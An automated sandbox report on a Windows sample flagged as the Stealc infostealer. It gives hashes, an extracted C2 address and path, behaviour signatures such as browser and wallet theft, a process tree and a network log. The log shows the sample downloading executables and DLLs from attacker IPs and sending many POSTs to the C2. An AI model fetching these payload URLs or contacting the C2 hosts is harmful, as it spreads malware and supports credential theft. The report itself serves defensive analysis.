Analysis

  • max time kernel
    136s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2024 10:02

General

  • Target

    cb4473f66bba06f982a1466e67e65097f95476484a4a249f53fd4d17deaf9185.exe

  • Size

    417KB

  • MD5

    97681ae7a2c06351eb339e8311e9564e

  • SHA1

    e647e373ee4eb2c1f70395bf911fad2974d9420c

  • SHA256

    cb4473f66bba06f982a1466e67e65097f95476484a4a249f53fd4d17deaf9185

  • SHA512

    ad92c67b610a24477a647d0db4208ff1b264f6b342c7d6e2cd89f1f4b8f8e2a41fc6f783ac565b34b2125bd76bc7cd156e2e578fc17ef2732883034018d10279

  • SSDEEP

    12288:0H9S9mUikIgN8hRxsG207aR7FPDROmjLtNeoDK:0d7mkRH7MJbjL5K

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cb4473f66bba06f982a1466e67e65097f95476484a4a249f53fd4d17deaf9185.exe
    "C:\Users\Admin\AppData\Local\Temp\cb4473f66bba06f982a1466e67e65097f95476484a4a249f53fd4d17deaf9185.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4016
    • C:\Users\Admin\AppData\Local\Temp\u33k.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u33k.0.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      PID:2936
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2936 -s 2360
        3⤵
        • Program crash
        PID:4812
    • C:\Users\Admin\AppData\Local\Temp\u33k.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u33k.1.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:2232
      • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4132
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4016 -s 1520
      2⤵
      • Program crash
      PID:2312
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4016 -ip 4016
    1⤵
      PID:4312
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2936 -ip 2936
      1⤵
        PID:4444

      Network

      • flag-us
        DNS
        8.8.8.8.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        8.8.8.8.in-addr.arpa
        IN PTR
        Response
        8.8.8.8.in-addr.arpa
        IN PTR
        dnsgoogle
      • flag-us
        DNS
        172.210.232.199.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        172.210.232.199.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        104.219.191.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        104.219.191.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        68.159.190.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        68.159.190.20.in-addr.arpa
        IN PTR
        Response
      • flag-gb
        GET
        https://www.bing.com/th?id=OADD2.10239355179391_1LFCMSFC5TYGHD1FP&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90
        Remote address:
        23.73.138.104:443
        Request
        GET /th?id=OADD2.10239355179391_1LFCMSFC5TYGHD1FP&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/2.0
        host: www.bing.com
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-type: image/png
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}&ndcParam=QWthbWFp
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        content-length: 1463
        date: Tue, 07 May 2024 10:02:48 GMT
        alt-svc: h3=":443"; ma=93600
        x-cdn-traceid: 0.648a4917.1715076168.17dbb90e
      • flag-us
        DNS
        26.35.223.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        26.35.223.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        104.138.73.23.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        104.138.73.23.in-addr.arpa
        IN PTR
        Response
        104.138.73.23.in-addr.arpa
        IN PTR
        a23-73-138-104deploystaticakamaitechnologiescom
      • flag-de
        GET
        http://185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
        cb4473f66bba06f982a1466e67e65097f95476484a4a249f53fd4d17deaf9185.exe
        Remote address:
        185.172.128.90:80
        Request
        GET /cpa/ping.php?substr=seven&s=ab&sub=0 HTTP/1.1
        Host: 185.172.128.90
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:02:55 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 1
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.228/ping.php?substr=seven
        cb4473f66bba06f982a1466e67e65097f95476484a4a249f53fd4d17deaf9185.exe
        Remote address:
        185.172.128.228:80
        Request
        GET /ping.php?substr=seven HTTP/1.1
        Host: 185.172.128.228
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:02:56 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.59/syncUpd.exe
        cb4473f66bba06f982a1466e67e65097f95476484a4a249f53fd4d17deaf9185.exe
        Remote address:
        185.172.128.59:80
        Request
        GET /syncUpd.exe HTTP/1.1
        Host: 185.172.128.59
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:02:56 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Tue, 07 May 2024 10:00:01 GMT
        ETag: "44e00-617da3fdb946c"
        Accept-Ranges: bytes
        Content-Length: 282112
        Content-Type: application/x-msdos-program
      • flag-us
        DNS
        90.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        90.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        228.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        228.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        133.211.185.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        133.211.185.52.in-addr.arpa
        IN PTR
        Response
      • flag-de
        GET
        http://185.172.128.228/BroomSetup.exe
        cb4473f66bba06f982a1466e67e65097f95476484a4a249f53fd4d17deaf9185.exe
        Remote address:
        185.172.128.228:80
        Request
        GET /BroomSetup.exe HTTP/1.1
        Host: 185.172.128.228
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:02:57 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Fri, 15 Mar 2024 11:59:56 GMT
        ETag: "4a4030-613b1bf118700"
        Accept-Ranges: bytes
        Content-Length: 4866096
        Content-Type: application/x-msdos-program
      • flag-us
        DNS
        59.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        59.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        svc.iolo.com
        u33k.1.exe
        Remote address:
        8.8.8.8:53
        Request
        svc.iolo.com
        IN A
        Response
        svc.iolo.com
        IN A
        20.157.87.45
      • flag-us
        POST
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        u33k.1.exe
        Remote address:
        20.157.87.45:80
        Request
        POST /__svc/sbv/DownloadManager.ashx HTTP/1.0
        Connection: keep-alive
        Content-Length: 300
        Host: svc.iolo.com
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: identity
        User-Agent: Mozilla/3.0 (compatible; Indy Library)
        Response
        HTTP/1.1 200 OK
        cache-control: private
        content-length: 256
        content-type: text/html; charset=utf-8
        x-whom: Ioloweb9
        date: Tue, 07 May 2024 10:03:01 GMT
        set-cookie: SERVERID=svc9; path=/
        connection: close
      • flag-us
        DNS
        45.87.157.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        45.87.157.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        download.iolo.net
        Remote address:
        8.8.8.8:53
        Request
        download.iolo.net
        IN A
        Response
        download.iolo.net
        IN CNAME
        iolo0.b-cdn.net
        iolo0.b-cdn.net
        IN A
        185.93.2.251
      • flag-fr
        HEAD
        https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.1.11/SystemMechanic.exe
        Remote address:
        185.93.2.251:443
        Request
        HEAD /sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.1.11/SystemMechanic.exe HTTP/2.0
        host: download.iolo.net
        accept: */*
        accept-encoding: identity
        user-agent: Microsoft BITS/7.8
        Response
        HTTP/2.0 200
        date: Tue, 07 May 2024 10:03:06 GMT
        content-type: application/octet-stream
        content-length: 58919336
        server: BunnyCDN-FR1-1186
        cdn-pullzone: 1654350
        cdn-uid: 5b8ea5d8-68d6-4057-a57d-a5f315142028
        cdn-requestcountrycode: GB
        cache-control: public, max-age=259200
        last-modified: Mon, 29 Apr 2024 18:38:19 GMT
        cdn-storageserver: DE-664
        cdn-fileserver: 594
        cdn-proxyver: 1.04
        cdn-requestpullsuccess: True
        cdn-requestpullcode: 206
        cdn-cachedat: 05/06/2024 22:02:11
        cdn-edgestorageid: 1187
        cdn-status: 200
        cdn-requestid: 0e99cc3cf2768b10c3ca45ee90ed3a70
        cdn-cache: HIT
        accept-ranges: bytes
      • flag-fr
        GET
        https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.1.11/SystemMechanic.exe
        Remote address:
        185.93.2.251:443
        Request
        GET /sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.1.11/SystemMechanic.exe HTTP/2.0
        host: download.iolo.net
        accept: */*
        accept-encoding: identity
        if-unmodified-since: Mon, 29 Apr 2024 18:38:19 GMT
        user-agent: Microsoft BITS/7.8
        Response
        HTTP/2.0 200
        date: Tue, 07 May 2024 10:03:06 GMT
        content-type: application/octet-stream
        content-length: 58919336
        server: BunnyCDN-FR1-1186
        cdn-pullzone: 1654350
        cdn-uid: 5b8ea5d8-68d6-4057-a57d-a5f315142028
        cdn-requestcountrycode: GB
        cache-control: public, max-age=259200
        last-modified: Mon, 29 Apr 2024 18:38:19 GMT
        cdn-storageserver: DE-664
        cdn-fileserver: 594
        cdn-proxyver: 1.04
        cdn-requestpullsuccess: True
        cdn-requestpullcode: 206
        cdn-cachedat: 05/06/2024 22:02:11
        cdn-edgestorageid: 1187
        cdn-status: 200
        cdn-requestid: ef810d7c019805558d7d6f695fbaae1b
        cdn-cache: HIT
        accept-ranges: bytes
      • flag-us
        DNS
        251.2.93.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        251.2.93.185.in-addr.arpa
        IN PTR
        Response
        251.2.93.185.in-addr.arpa
        IN PTR
        185-93-2-251 bunnyinfranet
      • flag-us
        POST
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        u33k.1.exe
        Remote address:
        20.157.87.45:80
        Request
        POST /__svc/sbv/DownloadManager.ashx HTTP/1.0
        Connection: keep-alive
        Content-Length: 300
        Host: svc.iolo.com
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Encoding: identity
        User-Agent: Mozilla/3.0 (compatible; Indy Library)
        Response
        HTTP/1.1 200 OK
        cache-control: private
        content-length: 192
        content-type: text/html; charset=utf-8
        x-whom: Ioloweb5
        date: Tue, 07 May 2024 10:03:12 GMT
        set-cookie: SERVERID=svc5; path=/
        connection: close
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----GCBFBGCGIJKJJKFIDBFC
        Host: 185.172.128.150
        Content-Length: 217
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:12 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 156
        Keep-Alive: timeout=5, max=100
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJ
        Host: 185.172.128.150
        Content-Length: 268
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:13 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 1520
        Keep-Alive: timeout=5, max=99
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----AFIEGCAECGCAEBFHDHIE
        Host: 185.172.128.150
        Content-Length: 267
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:13 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 5416
        Keep-Alive: timeout=5, max=98
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFC
        Host: 185.172.128.150
        Content-Length: 4807
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:13 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=97
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/sqlite3.dll
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/sqlite3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:13 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT
        ETag: "10e436-5e7eeebed8d80"
        Accept-Ranges: bytes
        Content-Length: 1106998
        Content-Type: application/x-msdos-program
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEG
        Host: 185.172.128.150
        Content-Length: 359
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:15 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=95
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----AFIEGCAECGCAEBFHDHIE
        Host: 185.172.128.150
        Content-Length: 359
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:16 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=94
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/freebl3.dll
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/freebl3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:16 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "a7550-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 685392
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/mozglue.dll
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/mozglue.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:16 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "94750-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 608080
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/msvcp140.dll
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/msvcp140.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:17 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "6dde8-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 450024
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/nss3.dll
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/nss3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:18 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "1f3950-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 2046288
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/softokn3.dll
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/softokn3.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:19 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "3ef50-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 257872
        Content-Type: application/x-msdos-program
      • flag-de
        GET
        http://185.172.128.150/b7d0cfdb1d966bdd/vcruntime140.dll
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        GET /b7d0cfdb1d966bdd/vcruntime140.dll HTTP/1.1
        Host: 185.172.128.150
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:19 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
        ETag: "13bf0-5e7ebd4425100"
        Accept-Ranges: bytes
        Content-Length: 80880
        Content-Type: application/x-msdos-program
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----AEGHCFIDAKJEBGCAFBAE
        Host: 185.172.128.150
        Content-Length: 947
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:19 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=87
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----FIDGHIIECGHDHJKFCAEG
        Host: 185.172.128.150
        Content-Length: 267
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:19 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 2408
        Keep-Alive: timeout=5, max=86
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----GCGHIIDHCGHCAAAAAFIJ
        Host: 185.172.128.150
        Content-Length: 265
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:19 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Vary: Accept-Encoding
        Content-Length: 2052
        Keep-Alive: timeout=5, max=85
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----AKJDGDGDHDGDBFIDHDBA
        Host: 185.172.128.150
        Content-Length: 15735
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:20 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=84
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----AAAAAAAAAAAAAAAAAAAA
        Host: 185.172.128.150
        Content-Length: 1540383
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:20 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=83
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHC
        Host: 185.172.128.150
        Content-Length: 15731
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:23 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=82
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAE
        Host: 185.172.128.150
        Content-Length: 363
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:23 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=81
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBK
        Host: 185.172.128.150
        Content-Length: 92871
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:23 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=80
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-de
        POST
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        u33k.0.exe
        Remote address:
        185.172.128.150:80
        Request
        POST /c698e1bc8a2f5e6d.php HTTP/1.1
        Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFI
        Host: 185.172.128.150
        Content-Length: 270
        Connection: Keep-Alive
        Cache-Control: no-cache
        Response
        HTTP/1.1 200 OK
        Date: Tue, 07 May 2024 10:03:23 GMT
        Server: Apache/2.4.52 (Ubuntu)
        Content-Length: 0
        Keep-Alive: timeout=5, max=79
        Connection: Keep-Alive
        Content-Type: text/html; charset=UTF-8
      • flag-us
        DNS
        150.128.172.185.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        150.128.172.185.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        103.169.127.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        103.169.127.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        139.53.16.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        139.53.16.96.in-addr.arpa
        IN PTR
        Response
        139.53.16.96.in-addr.arpa
        IN PTR
        a96-16-53-139deploystaticakamaitechnologiescom
      • flag-us
        DNS
        18.31.95.13.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        18.31.95.13.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        westus2-2.in.applicationinsights.azure.com
        SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        Remote address:
        8.8.8.8:53
        Request
        westus2-2.in.applicationinsights.azure.com
        IN A
        Response
